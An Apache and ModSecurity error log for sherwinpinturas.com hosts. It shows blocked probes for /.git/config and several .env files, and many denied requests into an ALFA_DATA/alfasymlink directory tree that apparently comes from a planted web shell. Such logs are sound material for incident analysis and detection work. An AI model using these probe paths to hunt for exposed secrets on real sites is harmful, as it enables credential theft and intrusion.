[Sun Oct 25 09:45:42.531905 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 100.29.107.38:13147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:45:54.635072 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 23.21.225.190:60478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:06.674868 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 18.205.127.11:11526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:10.908054 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.57.133:12503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:18.585545 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 3.221.222.168:10947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:22.637930 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 44.212.232.231:58412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:30.671020 2026] [core:error] [pid 2834008:tid 2834008] (13)Permission denied: [client 52.204.37.237:62223] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty62/subsystem/ttyS1/type
[Sun Oct 25 09:46:32.929632 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.11:36042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/align
[Sun Oct 25 09:46:38.559894 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.231.118.144:5637] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:42.574075 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.0.105.244:13652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:47.044790 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 34.206.249.188:6119] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:04/physical_node/resource0
[Sun Oct 25 09:46:50.744990 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 54.83.56.1:17236] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:46:54.020524 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 185.191.171.15:59250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/virtio_net/sections/__param
[Sun Oct 25 09:46:59.202360 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 185.191.171.11:46340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pool_workqueue/store_user
[Sun Oct 25 09:47:02.926615 2026] [ssl:error] [pid 2842301:tid 2842301] (5)Input/output error: [client 52.45.194.165:17061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:08.188602 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 34.226.89.140:20405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:10.845360 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.147.182.90:63624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:19.653728 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.235.239.240:1258] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:30.840231 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 44.217.255.167:35380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:34.738059 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 54.204.12.115:42496] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:35.065269 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.13:62686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/cache_dma
[Sun Oct 25 09:47:50.797254 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.193.115.232:46665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:54.896118 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 52.0.105.244:7932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:47:58.622297 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 85.208.96.197:55650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/validate
[Sun Oct 25 09:47:58.697362 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.202.52.82:59975] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:01.044167 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 185.191.171.2:23968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:02.840515 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 44.193.102.198:45987] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:12/eject
[Sun Oct 25 09:48:10.839879 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 34.227.156.153:41006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:14.876374 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.208.146.193:39050] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:26.891410 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 18.213.27.222:60519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:30.941632 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 98.84.70.201:33952] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:35.466149 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 52.4.229.9:10129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:38.842539 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.21.250.48:39190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:42.805992 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 23.21.225.190:43815] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/bind
[Sun Oct 25 09:48:44.705344 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 85.208.96.197:13598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:47.052718 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 52.7.13.143:34899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/unbind
[Sun Oct 25 09:48:50.907050 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.224.104.67:39408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:55.059125 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 50.19.221.48:28061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:48:58.956377 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 98.84.131.195:18278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:03.151432 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 3.210.29.96:47835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:03.346707 2026] [security2:error] [pid 2834020:tid 2834020] [client 144.172.105.154:37872] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Izxus_mjnPB8X3pG-CwAAABI"]
[Sun Oct 25 09:49:03.346992 2026] [security2:error] [pid 2834020:tid 2834020] [client 144.172.105.154:37872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Izxus_mjnPB8X3pG-CwAAABI"]
[Sun Oct 25 09:49:03.347329 2026] [security2:error] [pid 2834020:tid 2834020] [client 144.172.105.154:37872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Izxus_mjnPB8X3pG-CwAAABI"]
[Sun Oct 25 09:49:03.412125 2026] [security2:error] [pid 2834008:tid 2834008] [client 144.172.105.154:37876] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Iz4xkYfnWL-SU_mhrMQAAAA0"]
[Sun Oct 25 09:49:03.412353 2026] [security2:error] [pid 2834008:tid 2834008] [client 144.172.105.154:37876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Iz4xkYfnWL-SU_mhrMQAAAA0"]
[Sun Oct 25 09:49:03.412697 2026] [security2:error] [pid 2834008:tid 2834008] [client 144.172.105.154:37876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4Iz4xkYfnWL-SU_mhrMQAAAA0"]
[Sun Oct 25 09:49:08.133132 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.0.105.244:2724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:14.828110 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.243.63.52:45083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:18.971177 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 44.216.172.204:22537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/resource4_wc
[Sun Oct 25 09:49:23.049395 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 50.16.248.61:59751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:26.871253 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.230.224.6:4777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:34.878316 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 52.203.152.231:60363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:38.968842 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.23.112.144:46991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:42.901672 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.218.170.184:56585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:47.354420 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 184.72.95.195:30856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:51.121855 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.204.152.114:37651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:49:55.141513 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.86.59.155:47206] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:07.022805 2026] [core:error] [pid 2826774:tid 2826774] (13)Permission denied: [client 3.93.98.99:35791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/battery/bind
[Sun Oct 25 09:50:11.287138 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 44.210.204.255:42320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:23.099413 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.205.113.104:44907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:35.140681 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 50.16.248.61:41978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:39.064813 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 184.73.47.24:59552] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:43.283733 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.215.112.101:21231] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:44.691452 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:47520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/destroy_by_rcu
[Sun Oct 25 09:50:51.084689 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.210.155.69:28190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:50:59.141373 2026] [core:error] [pid 2842300:tid 2842300] (13)Permission denied: [client 18.211.148.239:1112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/remove
[Sun Oct 25 09:51:07.137647 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 44.205.74.196:39078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/ata_generic/module/sections/__param
[Sun Oct 25 09:51:11.130402 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.205.74.196:40704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:15.460262 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 52.54.95.127:57964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource1
[Sun Oct 25 09:51:19.219865 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.214.186.220:55866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:35.510103 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.232.36.1:20192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:36.221174 2026] [core:error] [pid 2834025:tid 2834025] (13)Permission denied: [client 85.208.96.206:30044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/objects
[Sun Oct 25 09:51:39.230041 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.221.156.96:22729] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rom
[Sun Oct 25 09:51:43.575621 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 44.216.172.204:39094] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:44.048553 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4JcPWU2HQBncZeY47EugAAAAQ"]
[Sun Oct 25 09:51:44.048818 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4JcPWU2HQBncZeY47EugAAAAQ"]
[Sun Oct 25 09:51:44.049149 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4JcPWU2HQBncZeY47EugAAAAQ"]
[Sun Oct 25 09:51:44.322587 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4JcPWU2HQBncZeY47EvAAAAAQ"]
[Sun Oct 25 09:51:44.322862 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4JcPWU2HQBncZeY47EvAAAAAQ"]
[Sun Oct 25 09:51:44.323198 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4JcPWU2HQBncZeY47EvAAAAAQ"]
[Sun Oct 25 09:51:44.466743 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4JcPWU2HQBncZeY47EvQAAAAQ"]
[Sun Oct 25 09:51:44.467036 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4JcPWU2HQBncZeY47EvQAAAAQ"]
[Sun Oct 25 09:51:44.467408 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4JcPWU2HQBncZeY47EvQAAAAQ"]
[Sun Oct 25 09:51:44.604910 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4JcPWU2HQBncZeY47EvgAAAAQ"]
[Sun Oct 25 09:51:44.605164 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4JcPWU2HQBncZeY47EvgAAAAQ"]
[Sun Oct 25 09:51:44.605544 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4JcPWU2HQBncZeY47EvgAAAAQ"]
[Sun Oct 25 09:51:44.747774 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4JcPWU2HQBncZeY47EvwAAAAQ"]
[Sun Oct 25 09:51:44.748057 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4JcPWU2HQBncZeY47EvwAAAAQ"]
